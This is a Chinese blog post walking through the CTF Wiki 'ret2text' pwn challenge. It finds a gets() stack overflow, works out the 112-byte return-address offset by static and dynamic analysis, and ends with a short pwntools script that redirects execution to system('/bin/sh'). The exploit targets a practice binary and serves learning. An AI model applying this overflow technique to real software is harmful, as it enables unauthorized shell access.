基本ROP ret2text(CTF Wiki)

    一入pwn门深似海,从此web是路人。

    在ctf wiki上学习时看到一道pwn题,链接在这儿:ret2text

    file一下(32位程序):

file ret2text

checksec一下(开启了堆栈不可执行):

checksec ret2text

启动IDA:

gets()函数:读取到换行符结束读取。

所以这里是漏洞点

gets函数

secure函数调用了system函数,

system("/bin/sh")


0x0804863a

控制程序返回到0x0804863a处就能获取系统shell。

那么溢出多少数据才能正好覆盖ret address呢?


ebp-64h

s存放的是我们输入的数据,在这里溢出,要算出他有多大。

char s; // [esp+1ch] [ebp-64h]

s变量在内存中的位置距离栈顶+1ch个字节,距离栈底-64h个字节。理所当然的认为,s的buffer距离ebp为0x64个字节(100),所以需要0x64h+4=104个字节就能溢出到ret address。


0x6c+4

他算出来的返回地址偏移是0x6c+4=112个字节。

用cyclic工具量了一下,也是112个字节


cyclic -l 0x62616164

照着他的方法做了一遍,在call _gets处下断点,运行


调试

ESP:0xffffd3f0    EBP:0xffffd478

s相对于esp的索引为【esp+1ch】 所以s相对于esp的位置为0xffffd3f0+0x1ch=0xffffd40c

s相对于ebp的索引为【ebp-64h】 所以s的起始位置于ebp之间的大小是0xffffd478-0xffffd40c=0x6c

0x6c......呃

破案了:EBP存储着当前栈帧的栈底的地址,通常作为基址,通过ebp和偏移相加减来获取变量地址。而esp始终指向栈顶,随栈内数据增加或减少而变化。而IDA是静态调试,计算出来的偏移跟动态调试是有区别的。

···

from pwn import *

p = process("./ret2text")

payload= 'a'*0x6c+'aaaa'+p32(0x0804863A)

p.sendline(payload)

p.interactive()

···

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容